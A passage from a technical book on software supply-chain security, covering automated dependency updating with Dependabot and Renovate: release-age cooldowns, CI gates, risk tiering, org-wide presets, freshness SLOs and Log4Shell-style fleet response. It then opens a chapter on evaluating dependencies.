permissions:
  contents: write
  pull-requests: write
jobs:
  automerge:
    if: github.actor == 'dependabot[bot]'
    runs-on: ubuntu-latest
    steps:
      - uses: dependabot/fetch-metadata@v2
        id: meta
      - name: Auto-merge patch and minor
        if: steps.meta.outputs.update-type == 'version-update:semver-
patch' || steps.meta.outputs.update-type == 'version-update:semver-
minor'
        run: gh pr merge --auto --squash "$PR_URL"
        env:
          PR_URL: ${{ github.event.pull_request.html_url }}
          GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
```

Note the shape: `--auto` merges *only after* required status checks pass, so CI remains the gate. Historically Dependabot's most-cited weakness was the absence of a version **cooldown** — a way to refuse versions younger than N days — which is the central safety control this chapter builds toward. GitHub has since added a `cooldown` configuration to `dependabot.yml` (letting you specify a minimum age, with the option of different windows for patch/minor/major); if your Dependabot supports it, enable it. Treat the exact option surface as something to verify against current GitHub documentation rather than memory, because it is newer and less battle-tested than Renovate's equivalent.

Renovate

Renovate (open-source, stewarded by Mend) is the more configurable tool, and at scale it is frequently the better choice for reasons that come down to *policy expressiveness* and *centralized control*. It runs as a hosted app (the Mend Renovate app on GitHub) or as a self-hosted CLI/bot you point at any platform, and it is configured in JSON5 (`renovate.json`) with a preset system that is its defining feature.

The controls that matter for a safe-update policy:

- **`minimumReleaseAge`** (formerly named `stabilityDays`) is the cooldown control. A rule of `"minimumReleaseAge": "7 days"` tells Renovate not to *propose* a version until it has existed on the registry for at least seven days. This is the single most important security feature in the tool, and we devote a full section to why below. Renovate pairs it with `internalChecksFilter` to decide whether pending (too-young) releases hold back a branch or are simply skipped.
- **`packageRules`** is the policy engine: match on package name patterns, `matchDepTypes`, `matchUpdateTypes` (major/minor/patch/pin/digest), `matchPackagePatterns`, `matchManagers`, and apply grouping, scheduling, automerge, labels, or a different cooldown to each match. This is where "dev dependencies auto-merge, framework majors go to a human" becomes a few lines of config.
- **`group` / `groupName`** collapse related updates into one PR. Renovate ships opinionated grouping presets (`group:monorepos`, `group:recommended`, and many ecosystem-specific ones) that already know, for example, that all `@angular/*` packages must move together.
- **`schedule`** constrains *when* PRs are raised, in a readable syntax (`"after 10pm every weekday"`, or presets like `schedule:nonOfficeHours`, `schedule:weekends`, `schedule:earlyMondays`). Combined with `prConcurrentLimit` and `prHourlyLimit`, this is your primary noise-management lever.
- **`automerge`** with `automergeType` (`pr` via the platform, or `branch` to skip the PR entirely for the quietest cases) and `platformAutomerge` to use GitHub's merge queue. Auto-merge is expressed per-rule, so it composes with everything above.
- **The Dependency Dashboard** — an auto-maintained issue in each repo listing every pending update, every rate-limited or errored one, and checkboxes to force a PR — turns "what is Renovate waiting on?" from a mystery into a page.
- **Custom (regex) managers** (`customManagers` with `"customType": "regex"`) extend updating to versions embedded in files Renovate does not natively parse — a pinned tool version in a Dockerfile comment, a `ARG SOMETHING_VERSION`, a version string in a shell script. Almost nothing is un-updatable.

- **Presets and `extends`** are the org-scale superpower. You publish one config repository (`org/renovate-config`) and every other repo's `renovate.json` is a one-liner: `{ "extends": ["local>org/renovate-config"] }`. Change the org preset and the whole fleet's policy moves at once. We return to this under fleet scale; it is the single strongest argument for Renovate in a large organization.

A representative org-consuming config:

```
{
  "extends": ["local>acme/renovate-config"],
  "minimumReleaseAge": "5 days",
  "packageRules": [
    {
      "matchDepTypes": ["devDependencies"],
      "matchUpdateTypes": ["patch", "minor"],
      "groupName": "dev dependencies",
      "automerge": true
    },
    {
      "matchUpdateTypes": ["patch"],
      "automerge": true
    },
    {
      "matchUpdateTypes": ["major"],
      "automerge": false,
      "labels": ["major-upgrade", "needs-review"]
    },
    {
      // Actively-exploited fixes jump the cooldown queue
      "matchDepPatterns": ["*"],
      "isVulnerabilityAlert": true,
      "minimumReleaseAge": "0 days",
      "automerge": false,
      "labels": ["security"]
    }
  ]
}
```

Renovate can also raise **vulnerability-fix PRs** driven by OSV data (`osvVulnerabilityAlerts`), giving you a security-update path comparable to Dependabot's, but expressed inside the same policy engine as everything else — which means your cooldown, grouping, and automerge rules all compose with it.

Choosing, and the honest comparison

Dimension	Dependabot	Renovate
Hosting	Native to GitHub, zero setup	Hosted Mend app or self-hosted CLI; any platform
Config surface	`dependabot.yml`, deliberately small	JSON5 + presets, very large
Cooldown / min-age	`cooldown` (newer, less proven)	`minimumReleaseAge`, mature and widely used
Grouping	`groups` block (added later)	`packageRules` + grouping presets, very flexible
Scheduling	interval + day	rich schedules, concurrency and hourly limits
Auto-merge	assembled from Actions + native auto-merge	first-class, per-rule, branch or PR
Org-wide policy	per-repo files (some org defaults)	shared presets via `extends` — one source of truth
Custom file formats	limited	regex/custom managers
Dashboard	security tab / alerts	per-repo Dependency Dashboard issue

The honest summary: **Dependabot is the right default for a single repository or a small GitHub-native shop** — it is present, it is simple, and simple is a virtue when the alternative is an unmaintained pile of config. **Renovate is usually the right choice at fleet scale**, because the things that matter across hundreds of repos — a mature cooldown, one centrally-managed policy via presets, fine-grained grouping and scheduling to control noise — are exactly where it is stronger. Many organizations run Dependabot's *security* alerts (for the advisory-database integration and the security tab) alongside Renovate as the *version-update* engine, and that is a coherent posture, not a contradiction. Do not mistake tool choice for strategy, though: both tools implement the same policy shape, and it is the policy — cooldown, gate, grouping, urgency tiers — that determines whether your updating is safe.

Ecosystem-native and adjacent tooling

Bots are not the only mechanism, and some ecosystems have first-class local tooling worth knowing:

- **JavaScript**: `npm-check-updates` (`ncu`) rewrites `package.json` ranges to the latest, for the developer-driven "let me pull everything current right now" workflow. It has no cooldown or gate of its own — it is a hammer, not a policy — so use it interactively, not in automation.
- **Go**: `go get -u ./...` bumps within a module; Dependabot and Renovate both support Go modules and are the automated path. Go's module proxy and checksum database (Chapter 8) give updates a strong integrity floor.
- **Python**: `pip-tools` (`pip-compile --upgrade`) and increasingly **uv** (`uv lock --upgrade` / `--upgrade-package`) recompile a pinned lockfile from loose top-level constraints — the same pin-and-recompile discipline Chapter 2 argued for, driven locally, with the bot proposing the recompiles.
- **JVM / Scala**: **Scala Steward** is a dedicated bot for the Scala ecosystem (sbt/Mill), functionally analogous to Renovate for that world; Gradle and Maven have `versions` plugins for local checks, and both are Renovate/Dependabot targets.

The common thread: local tools are for a human deciding to update *now*; bots are for the continuous, policy-governed trickle. A mature program uses the bots for the steady state and keeps the local tools for interactive major-upgrade work.

The pin-plus-automate loop

Here is the resolution of the book's central tension, stated as a mechanism rather than a slogan. **Pin exact versions and commit the lockfile (Chapter 2), *and* run a bot that continuously proposes bumps against that lockfile.** Pinning gives you reproducibility and immunity to silent substitution; the bot gives you currency; the cooldown and CI gate give you safety. You give up nothing that pinning bought you, because every proposed bump is an explicit, reviewable, CI-validated *change to the pinned version* — not a silent drift.

Contrast this with the tempting-but-wrong alternative of **floating ranges** (`^1.2.0`, `>=2,<3`). Floating ranges appear to give you currency for free

— resolve at install time and you get whatever is newest-compatible. But they give it to you *without a gate*: the version that lands is whatever the registry served at the moment CI happened to run, adopted with zero review, zero cooldown, and zero reproducibility. Two builds an hour apart can differ. A malicious release published between them is adopted automatically. Floating ranges are the auto-updating attack surface we warned about in the first section, dressed up as convenience. Pinning plus a bot gives you the *same currency* with a *review gate and a cooldown and a reproducible result* — strictly better on every axis that matters.

The loop:

```
flowchart TD
  A["Pinned lockfile
exact versions committed"] --> B["Bot scans registry
Dependabot / Renovate"]
  B --> C{"Newer version
exists?"}
  C -->|no| A
  C -->|yes| D{"Old enough?
minimumReleaseAge
cooldown"}
  D -->|"too young"| E["Hold — pending"]
  E --> D
  D -->|"past cooldown
OR KEV fast-track"| F["Open update PR
single pinned bump"]
  F --> G["Gate: full CI + build
+ SCA scan (Ch 6)"]
  G -->|fail| H["Human triage"]
  G -->|pass| I{"Low risk?
patch/minor,
reachable-safe"}
  I -->|yes| J["Auto-merge
update lockfile"]
  I -->|"no — major /
high blast radius"| K["Human review"]
  K --> J
  J --> A
```

Every arrow back to "Pinned lockfile" is the invariant closing: the repository is *always* in a pinned, reproducible state, and the only way a version changes is through a PR that passed the gate. The bot is a proposer; the gate is the decider; the human is in the loop exactly where risk requires it and nowhere it does not. This loop is the whole strategy.

The remaining sections are its parameters: how long the cooldown, what the gate checks, how to group, and how urgency overrides the defaults.

The cooldown: quarantine as smash-and-grab defense

The cooldown — Renovate's `minimumReleaseAge`, Dependabot's `cooldown`, and the registry-level quarantine of Chapter 8 — is the highest-value single control in a safe-update policy, and it is worth understanding *why* precisely, because the reasoning also tells you how to tune it.

The threat model is the **smash-and-grab malicious release**. An attacker compromises a maintainer account (phished token, leaked credential, hostile takeover of an abandoned package) and publishes a malicious version. Their goal is maximum reach before detection, because these releases *are* detected — by the maintainer noticing, by security researchers, by ecosystem automation, by the flood of user reports — and once detected the version is yanked and the advisory published, typically within hours to a couple of days. The malicious version's *useful life to the attacker* is the window between publication and yank.

An organization that adopts new versions instantly puts itself squarely inside that window. An organization that refuses to adopt any version younger than, say, seven days simply *is not in the building* when the smash-and-grab happens — the malicious version is discovered and yanked long before the cooldown expires, and the org never proposes it at all.

```
timeline
  title Malicious-release window vs. cooldown adoption
  section Attacker's version
    t=0 published : malicious version hits registry
    t~hours : researchers / users notice
    t~1-2 days : version yanked, advisory published
  section No cooldown
    t=0 : instant adoption — INSIDE the window
  section 7-day cooldown
    t=0..7d : version held, never proposed
    t=7d : if still present & clean, proposed
```

The elegance is that the cooldown costs you almost nothing on the legitimate path. A normal patch release that fixes a real bug is just as good on day seven as on day zero; you lose a week of being marginally-

more-current on routine bumps, which is noise against the drift you are preventing. The one place the cooldown genuinely bites is **security patches** — a legitimate fix for a real, actively-exploited vulnerability, where a week of delay is a week of exposure. That is why every serious cooldown policy pairs the quarantine with an **exception path**:

- For a vulnerability in **CISA's Known Exploited Vulnerabilities (KEV) catalog** — meaning it is being exploited in the wild *right now* — you fast-track the fix past the cooldown. In Renovate, `isVulnerabilityAlert` rules can set `minimumReleaseAge` to zero (as in the config above); a fix for an actively-exploited flaw is proposed immediately.
- For everything else, the cooldown holds. A vulnerability that is disclosed but not exploited, or a fix that is not urgent, waits out the quarantine like any other release — because the fix itself could be the smash-and-grab (a "security patch" that is actually a backdoor is a known pattern).

This is the trade stated plainly: the cooldown delays *all* adoptions by N days, which is free for routine bumps and slightly costly for legitimate security fixes; the KEV exception buys back the one case where the delay is genuinely dangerous. Seven days is a common, defensible default; some orgs run three for lower friction and some run fourteen for higher assurance, and you can set the window per-rule (longer for high-blast-radius shared libraries, shorter for leaf dev tools).

Note the **defense-in-depth** relationship with Chapter 8. The cooldown can live in *two* places: at the update layer (the bot refuses to propose a too-young version) and at the registry layer (the internal proxy refuses to *ingest* a too-young version at all). These are not redundant — the registry-level quarantine protects every consumer including those not driven by a bot (a developer running `npm install` directly, a build that pins by hand), while the bot-level cooldown shapes what gets *proposed as an update*. Run both. The registry quarantine is the floor under the whole fleet; the bot cooldown is the policy on top of it.

Gating updates through CI

A proposed update is worthless — dangerous, even — without a gate, and the gate is the pull request. The single most important framing in this whole discipline is that **the update PR is the unit of review and the**

unit of validation. Everything you would do to inspect a human's code change, you do to a bot's dependency change, automatically, on every PR.

At minimum the gate runs, and requires green, before any merge (auto or human):

1. **The full test suite.** Not a smoke subset — the tests are the only thing standing between "the bump compiles" and "the bump preserves behavior." A minor bump that quietly changes a default, a patch that fixes one bug and regresses another: the test suite is what catches these. This is also the argument, made concrete, for *why the death march is so expensive* — a service with thin tests cannot safely auto-merge anything, so it either drifts or absorbs manual review on every bump.
2. **The build.** Type-checking, compilation, bundling — the update must produce a working artifact.
3. **SCA (Chapter 6).** Scan the *resulting* dependency set. This closes an important loop: an update that *introduces* a new vulnerability (a bump that pulls a new transitive dep with a known CVE) must fail the gate, not sail through because "updating is good." The SCA scan on the PR's lockfile is what makes the gate bidirectional — it blocks bad updates as firmly as it motivates good ones.
4. **Provenance / integrity checks where you have them** (Book 5): signature verification, and crucially a check that the update did not rewrite *resolved URLs or integrity hashes* in the lockfile to point somewhere unexpected — the **lockfile-poisoning** vector of Chapter 2. A bump that changes a version *and also* silently repoints an unrelated dependency's resolved URL is a red flag that must stop auto-merge cold.

Only if all of this is green does the update become eligible to merge. For the low-risk tier that eligibility means auto-merge; for the high-risk tier it means "a human may now review a PR that has already been validated." Either way, **CI is the gate that both automation and humans depend on**, and a fleet whose CI is flaky or slow will find its update discipline collapses — teams disable auto-merge, PRs pile up, drift returns. Investment in fast, trustworthy CI is investment in patchability.

Grouping, tiering, and noise management

The failure mode that kills update automation in practice is not a bad merge — it is **PR fatigue**. A fleet with per-dependency PRs and no grouping generates a firehose; teams stop reading the PRs, stop trusting them, and eventually mute the bot. Dead automation patches nothing. So a real policy is as much about *noise management* as about safety, and the two goals align: the same tiering that makes updates safe makes them quiet.

Tier updates by risk, and treat each tier differently:

- **Low risk → group and auto-merge.** Dev dependencies, patch bumps, digest updates, well-tested leaf libraries. Group these into a small number of PRs (one for dev-deps, one for prod patches), let CI gate them, and auto-merge on green after cooldown. A team should see *one* dev-dependency PR a week that mostly merges itself, not forty.
- **Medium risk → individual PR, human review, no auto-merge.** Minor bumps of production dependencies, especially ones with meaningful surface area. One PR each so the diff is reviewable; a human glances at the changelog; merge on green.
- **High risk → isolate and escalate.** Major-version bumps (breaking by SemVer contract), and updates to **high-blast-radius shared libraries** — the internal platform library, the logging framework, the serialization core — that a hundred services depend on. These are never grouped (you need to reason about each in isolation) and never auto-merged. A major bump of a shared library is *planned work*, not a bot PR you rubber-stamp.

The grouping is expressed directly in the tools: Dependabot's `groups` block, Renovate's `packageRules` with `groupName` plus ecosystem grouping presets that already know which package families must move together. Scheduling and concurrency limits (`schedule`, `prConcurrentLimit`, `prHourlyLimit`) cap the flow so a big release day does not produce a hundred simultaneous PRs. The target is a *steady, quiet trickle* that teams trust enough to keep reading — because a bot the team trusts is a bot the team lets auto-merge, and auto-merge is what keeps the fleet current without human toil.

Update types and urgency

The tiering above is about *risk of the change*. Orthogonal to it is *urgency of the change,* and the two must not be confused. Urgency is driven by *why* you are updating, and it maps directly onto the prioritization model of Chapter 7.

```
flowchart TD
  A["Update available"] --> B{"Fixes a
vulnerability?"}
  B -->|no| C{"Major
version?"}
  C -->|no| D["Routine bump:
batch, schedule,
auto-merge if low-risk"]
  C -->|yes| E["Planned work:
breaking changes,
human-driven upgrade"]
  B -->|yes| F{"Reachable?
(Ch 7)"}
  F -->|"no — unreachable
(VEX not_affected)"| G["De-prioritize:
update on normal
cadence, no scramble"]
  F -->|yes| H{"KEV / actively
exploited?"}
  H -->|yes| I["URGENT:
fast-track past cooldown,
expedite review, deploy now"]
  H -->|no| J["Prioritized:
fix within SLA,
normal cooldown OK"]
```

Walk the three update *types*:

- **Security updates** patch a known vulnerability, and their urgency is *not uniform* — this is the key insight Chapter 7 earned. A security fix for a **reachable, KEV-listed** vulnerability is genuinely urgent: fast-track it past the cooldown, expedite or waive the usual review latency, and deploy it fleet-wide as fast as your rollout allows. A security fix for an **unreachable** vulnerability — one your VEX analysis has marked `not_affected` because the vulnerable code path is never called — is *not* an emergency; adopting it on the normal cadence is fine, and scrambling for it is wasted urgency that trains teams to ignore the next real alarm. **Do not scramble to patch an unreachable vuln; do scramble for a reachable KEV one.**

Urgency is earned by reachability and exploitation, not by the mere existence of a CVE.

- **Routine version bumps** carry no security urgency. They exist to prevent drift, and drift is a slow problem, so they get the cheap treatment: batch them, schedule them for off-hours, auto-merge the low-risk tier on green. The entire point of automating these is to keep them from consuming human attention that should be spent on the urgent tier.
- **Major version upgrades** are not automatable and should not be automated. By the SemVer contract a major bump *is allowed to break you*, and adopting one means reading a migration guide, updating call sites, and revalidating behavior. Automation's role here is limited to *surfacing* the available major (the Dependency Dashboard listing it) and holding it in the "needs planning" queue — never to merging it. A major upgrade is a scheduled engineering task with an owner, not a bot PR.

The interaction with **reachability and VEX** deserves emphasis because it is where mature programs diverge from immature ones. An immature program treats every CVE alert as equally urgent, scrambles constantly, burns out its engineers, and *still* misses the one that mattered because it was buried in the noise. A mature program uses reachability to route: unreachable findings ride the routine cadence and often get closed by the ordinary bump that was coming anyway; reachable KEV findings trip the fast-track. The update automation is the same machine in both cases — the difference is which lever the finding pulls, and reachability is what decides.

Operating at fleet scale

Everything so far describes one repository well. The distributed-systems reality is hundreds of them, owned by dozens of teams, at wildly varying levels of hygiene — and this is where update *strategy* becomes update *governance*.

Org-wide presets: the paved road

The Chapter 8 idea of a paved road applies directly. You do not want three hundred repos each with a hand-rolled, subtly-different, slowly-rotting Renovate config; you want *one* config that encodes the org's

policy — cooldown window, tiering, grouping, KEV fast-track, security-team labels — and three hundred repos that inherit it in a single line:

```
// every repo:
{ "extends": ["local>acme/renovate-config"] }
```

```
// acme/renovate-config/default.json — the one source of truth
{
  "extends": ["config:recommended"],
  "minimumReleaseAge": "7 days",
  "prConcurrentLimit": 5,
  "schedule": ["after 9pm every weekday", "every weekend"],
  "packageRules": [
    { "matchDepTypes": ["devDependencies"], "matchUpdateTypes": ["patch
", "minor"],
      "groupName": "dev dependencies", "automerge": true },
    { "matchUpdateTypes": ["patch"], "automerge": true },
    { "matchUpdateTypes": ["major"], "automerge": false, "addLabels":
["major-upgrade"] },
    { "isVulnerabilityAlert": true, "minimumReleaseAge": "0 days",
      "addLabels": ["security"], "reviewers": ["team:appsec"] }
  ]
}
```

Now policy is *centrally managed and consistently applied*. When AppSec decides the cooldown should be five days, or that a newly-critical shared library must never auto-merge, they change the preset and the whole fleet moves — no three-hundred-PR migration, no repos left behind on stale policy. This is the single strongest operational argument for Renovate at scale, and it is why the preset system, not any individual feature, is the reason large orgs pick it. Dependabot has partial analogues (org default configs), but the shared-preset model is Renovate's home turf.

Freshness as a fleet metric and an SLO

You cannot manage what you cannot see, and at fleet scale the thing to see is **dependency freshness** — how far each service has drifted from current — and **MTTR-to-patch** — how long it takes a disclosed, prioritized vulnerability to reach zero affected services. These are the update program's analogues of the reliability SLOs your services already run on, and they belong on the same dashboards (Book 1, Chapter 10 — Building a Program; Book 8, Chapter 8 — Metrics, Audits, and Executive Reporting).

Concretely, track per-service and roll up to the fleet:

- **Freshness / libyear-style drift**: the aggregate age gap between what a service runs and what is current. A service whose drift is climbing is a death march accruing.
- **Time-to-patch distribution**: for each disclosed, reachable vulnerability, the time from advisory to "no service affected." This is the number executives and regulators actually care about, and the number that continuous updating *directly improves*.
- **Auto-merge rate and PR-close latency**: how much of the update flow is friction-free versus stuck. A falling auto-merge rate is an early warning that CI or trust is degrading.

```
flowchart TD
  subgraph inv["Inventory (Book 3) + bot state"]
    S1["svc-a
fresh, 0 alerts"]
    S2["svc-b
drift 90d, 2 alerts"]
    S3["svc-c
UNOWNED
drift 900d"]
    S4["svc-d
1 KEV, reachable"]
  end
  inv --> DASH["Fleet dashboard
freshness · MTTR-to-patch · auto-merge rate"]
  DASH --> SLO{"Within SLO?"}
  SLO -->|"yes"| OK["Green"]
  SLO -->|"no"| ESC["Escalate:
owner nudged / policy enforced"]
```

Make freshness an **SLO with teeth**, not a vanity chart. "Every production service must be within N days of current and must carry no reachable, unpatched KEV vulnerability older than its SLA" is a policy you can enforce — in CI (fail the build that falls too far behind), in the paved-road platform (un-updated services lose a compliance badge), and in the governance process (Book 8). Without enforcement, freshness targets are decoration; with it, they are the mechanism that keeps the fleet patchable.

The long tail: unowned, abandoned, and rarely-tested services

The fleet's average freshness is a lie the moment you look at the tail. Every large org has services nobody owns — the team reorganized, the original author left, the thing has run untouched for three years — and these are precisely the services that (a) drift the most and (b) break when you finally update them, because their thin, stale tests validate nothing. The long tail is where update automation's promises go to die, and it must be managed deliberately:

- **Ownership is the precondition.** A service with no owner cannot be updated safely because there is no one to judge a failed test or approve a major. The inventory (Book 3) that lists services must also list *owners*, and an unowned production service is itself an incident to be resolved — reassigned or decommissioned. "Nobody owns it" is not a stable state for something on the internet.
- **A "must stay current" policy with enforcement.** The paved road makes currency the default; the policy makes it mandatory. Services that fall outside the freshness SLO get escalated, and ultimately a service that cannot be kept current is a service that must be *retired* — the safest dependency is the one you deleted with the service that used it.
- **The rarely-tested-service problem** has no cheap fix, only an honest one: a service whose tests cannot validate an update cannot auto-merge, so it either gets enough tests to participate in the automation or it gets human review on every bump or it gets decommissioned. Pretending a thinly- tested service is safe to auto-update is how a routine patch takes down production.

Coordinated fleet-wide response: the payoff

Everything in this chapter pays off in a single scenario, and it is the scenario that justifies the whole discipline: **a critical, actively-exploited CVE drops in a widely-used dependency** — the Log4Shell shape. On December 9–10, 2021, when CVE-2021-44228 went public, every organization on the planet faced the same two questions in the same order: *where do we have it?* and *how fast can we replace it everywhere?*

The answer to the first is inventory (Book 3, Chapter 5 — SBOM Distribution, Storage, and Querying at Scale): a fleet with an SBOM-keyed inventory answers "which services pull log4j-core, at what version,

reachably?" in minutes, not the weeks of frantic grep that unprepared orgs actually spent.

The answer to the *second* is this chapter. A fleet that has practiced continuous updating can push a fix everywhere fast, because:

- The **automation is already wired** — a security-fix PR can be raised against every affected repo at once, past the cooldown via the KEV fast-track, with the org preset ensuring consistent labeling and routing.
- The **services are near-current**, so the fix is a small bump against a recent version, not a three-major death march per service under fire.
- The **CI gates are trusted**, so validated fixes can auto-merge and roll out at machine speed.
- The **freshness SLO and dashboard** turn "are we done?" from a rumor into a burn-down chart: affected-service count ticking toward zero, in view of everyone who needs to see it.

The contrast is the entire thesis. An org that deferred updates faced Log4Shell as hundreds of independent, manual, dangerous upgrades of services that had drifted for years — the months-long scramble. An org that updated continuously faced it as a *managed rollout* of a small, familiar bump across a fleet it could see and steer. The Log4Shell fix that took one org an afternoon took another a quarter, and the only difference was whether they had been walking before they had to sprint.

Distributed-systems lens

The single-service view of dependency updating is a solved problem — pin, gate, cooldown, auto-merge. The distributed-systems view is where the strategy earns its keep, and four points bind it together:

- **Continuous small updates keep the fleet patchable.** Patchability is not a property you can acquire in an emergency; it is a property you maintain continuously or lack entirely. A fleet that drifts loses the *ability* to respond, because responding becomes the death march. The steady trickle of small, gated bumps is what keeps every service one small step from current — and therefore one small step from patched.
- **Centralized policy plus inventory turns "patch 500 services" from a scramble into a rollout.** The org preset makes policy

uniform and centrally steerable; the inventory makes the fleet visible; the automation makes the fix pushable everywhere at once. Together they convert a fleet-wide response from N independent heroics into one managed, observable operation.

- **Cooldown is defense-in-depth across two layers.** The registry-layer quarantine (Chapter 8) protects every consumer including the un-botted ones; the update-layer `minimumReleaseAge` shapes what gets proposed. Neither alone is complete; together they close the smash-and-grab window at both the ingestion boundary and the proposal boundary.
- **Freshness is an SLO.** Treat time-to-patch and drift as reliability targets with enforcement, reported alongside availability and latency, and the whole program acquires the one thing that makes distributed-systems disciplines actually stick: a measurable objective that a service can be *out of*, with consequences that follow.

The through-line of this book resolves here. Pinning (Chapter 2) and updating are not opposites; they are the two halves of a single loop, and automation with a cooldown and a gate is the machine that runs it. Do that continuously, at fleet scale, with policy centralized and freshness measured, and you get what the book has been promising: reproducibility and currency and safety, all three, at once.

Key takeaways

- **Both updating and not-updating are security-relevant.** Stale dependencies accumulate known, indexed, exploitable CVEs — inaction is a vulnerability. But adopting new versions is the primary supply-chain attack vector (Book 1, Chapter 4). The goal is fast patching *with* enough friction and inspection to catch malicious or broken releases — not one or the other.
- **Pin *and* automate.** Pin exact versions and commit the lockfile (Chapter 2) for reproducibility and anti-substitution; run Dependabot or Renovate to continuously propose gated bumps for currency. This beats floating ranges on every axis — floating ranges give currency without a review gate, cooldown, or reproducibility.
- **The cooldown is the highest-value control.** `minimumReleaseAge` / `cooldown` refuses versions younger than N days, which sidesteps the smash-and-grab malicious-release window at almost no cost to

routine updating. Pair it with a **KEV fast-track** so actively-exploited fixes jump the queue, and run it at both the registry layer and the update layer as defense-in-depth.

- **The update PR is the unit of review and validation.** Gate every bump through the full test suite, the build, SCA (Chapter 6) on the resulting lockfile, and integrity/provenance checks that catch lockfile poisoning. CI is the gate both auto-merge and humans depend on; invest in it.
- **Tier by risk and group for quiet.** Auto-merge grouped low-risk updates (dev deps, patches); individually review medium-risk minors; isolate and hand-drive high-risk majors and high-blast-radius shared libraries. PR fatigue kills automation, so noise management *is* the strategy.
- **Urgency comes from reachability and exploitation, not from a CVE existing.** Scramble for a reachable, KEV-listed fix; ride the normal cadence for an unreachable one (Chapter 7). Major upgrades are planned engineering work, never bot auto-merges.
- **At fleet scale, centralize policy and measure freshness.** One org-wide Renovate preset applied via `extends` keeps policy consistent and centrally steerable; dependency-freshness and MTTR-to-patch are fleet SLOs with enforcement (Book 1, Chapter 10; Book 8, Chapter 8). Manage the unowned long tail by assigning ownership or decommissioning.
- **Continuous discipline is what makes fleet-wide incident response possible.** When a Log4Shell-class CVE drops, inventory (Book 3) tells you where it is and update automation pushes the fix everywhere fast — but only if the fleet was already near-current. You cannot sprint if you have not been walking.

Further reading

- GitHub — Dependabot version updates configuration (`dependabot.yml`) (https://docs.github.com/en/code-security/dependabot/dependabot-version-updates/configuration-options-for-the-dependabot.yml-file) and Dependabot security updates (https://docs.github.com/en/code-security/dependabot/dependabot-security-updates/about-dependabot-security-updates).

- GitHub — grouped Dependabot updates (https://docs.github.com/en/code-security/dependabot/dependabot-version-updates/controlling-dependencies-updated) and automating Dependabot with GitHub Actions / `dependabot/fetch-metadata` (https://docs.github.com/en/code-security/dependabot/working-with-dependabot/automating-dependabot-with-github-actions).
- Renovate documentation — configuration options, including `minimumReleaseAge` (https://docs.renovatebot.com/configuration-options/#minimumreleaseage), `packageRules` (https://docs.renovatebot.com/configuration-options/#packagerules), and the noise/automerge model.
- Renovate — shareable config presets and the `extends` mechanism (https://docs.renovatebot.com/config-presets/) and the Dependency Dashboard (https://docs.renovatebot.com/key-concepts/dashboard/).
- Renovate — key concepts: automerge (https://docs.renovatebot.com/key-concepts/automerge/) and scheduling (https://docs.renovatebot.com/key-concepts/scheduling/).
- CISA — Known Exploited Vulnerabilities (KEV) catalog (https://www.cisa.gov/known-exploited-vulnerabilities-catalog) — the prioritization signal for the cooldown fast-track.
- OWASP — Vulnerable and Outdated Components (A06:2021) (https://owasp.org/Top10/A06_2021-Vulnerable_and_Outdated_Components/), the standard framing of stale dependencies as a vulnerability class.
- Scala Steward (https://github.com/scala-steward-org/scala-steward), `npm-check-updates` (https://github.com/raineorshine/npm-check-updates), `pip-tools` (https://github.com/jazzband/pip-tools), and uv (https://docs.astral.sh/uv/) — ecosystem-native update tooling.
- "libyear" — a measure of dependency freshness/drift (https://libyear.com/) as a fleet metric.

- The Apache Log4j / Log4Shell advisory for CVE-2021-44228 (https://logging.apache.org/log4j/2.x/security.html) — the canonical fleet-wide-response case, covered in depth in Book 1, Chapter 5.

Chapter 10 — Evaluating Dependencies: Scorecards, Signals, and Policy

What this chapter covers. Every previous chapter in this book has treated a dependency that is *already in your tree*: how it resolves (Chapter 2), whether its name is a trap (Chapter 3), whether it is malicious (Chapter 4), what it is vulnerable to (Chapters 5–7), where it entered (Chapter 8), and how to keep it current (Chapter 9). This final chapter steps back to the decision that precedes all of that machinery — *should this dependency exist in your tree at all?* — and then to the governance question that follows from having thousands of dependencies you never individually decided on: *how do you run a program that keeps a fleet of dependencies inside policy without a human vetting each one?* We treat the adoption decision as an engineering cost calculation, then build up the automated signal layer — OpenSSF Scorecard, Criticality Score, deps.dev, and the commercial package-health services — that lets you triage at scale. We are careful about what those signals actually measure: process hygiene, not correctness or the absence of a backdoor. Then we turn signals into *policy as code* enforced at the chokepoints this book has already built, and close with the capstone — a reference dependency-governance architecture that ties the whole book together, plus the metrics that tell you whether the program is working.

Learning goals — after this chapter you should be able to:

- Frame **"is it worth a dependency?"** as a cost calculation over the transitive closure, the maintenance trajectory, the security posture, and the standing trust grant — and run a concrete **intake checklist** for a proposed dependency.
- Explain what **OpenSSF Scorecard** actually checks, how it scores 0–10, how it is run (Action, CLI, public API/dataset), and — critically — the boundary of what it can and cannot tell you.

- Combine **Criticality Score** (how load-bearing) with health (how well-run) to triage a fleet, and query **deps.dev** and the commercial health services (Socket, Snyk Advisor, Libraries.io, Mend) as inputs.
- Encode a **dependency policy as code** — thresholds, license rules, cooldown, provenance requirements, allow/deny lists — and place enforcement at intake, the internal proxy, CI, and admission.
- Stand up a **golden set** / curated catalog and an **exception lifecycle** with expiry and ownership.
- Assemble the **end-to-end governance architecture** and the **fleet metrics** that measure it.

A note on the two questions this chapter answers, because they pull in opposite directions. The first — *should we adopt this one dependency?* — rewards depth: a senior engineer sitting with a proposed library, reading its issue tracker, weighing build-vs-borrow. The second — *how do we govern the ten thousand we already have?* — rewards automation and refuses depth, because depth does not scale to ten thousand. The chapter is honest that these are different activities with different tools, and that the art of a dependency-governance program is spending human judgment where it moves risk (the load-bearing few) and spending automated policy everywhere else.

The true cost of a dependency

The instinct that a dependency is "free" — someone else wrote it, tested it, and gives it away — is the single most expensive misconception in the field. The install is free. Everything after the install is a liability you have signed for, and the signature is durable. Break the cost into four components, none of which appears in the `npm install` output.

The transitive closure, not the package. When you add one dependency you add its entire reachable dependency graph, and in the interpreted ecosystems that graph is large and mostly invisible. A single mainstream JavaScript build tool or web framework routinely pulls in *hundreds* of transitive packages; adding one direct dependency to a fresh project can materialize a `node_modules` with a four-digit package count. Every one of those is code that runs in your build or your process, each is a name that could be confused or typosquatted (Chapter 3), each is a maintainer account that could be phished, and each is a future vulnerability you will have to triage (Chapters 5–7). You did not choose

them; you inherited them by choosing their parent. The correct unit of cost is the closure, and you should measure it before you commit — `npm ls --all`, `go mod graph`, `pipdeptree`, or a quick SBOM (Book 3) of the candidate tells you what you are really signing for.

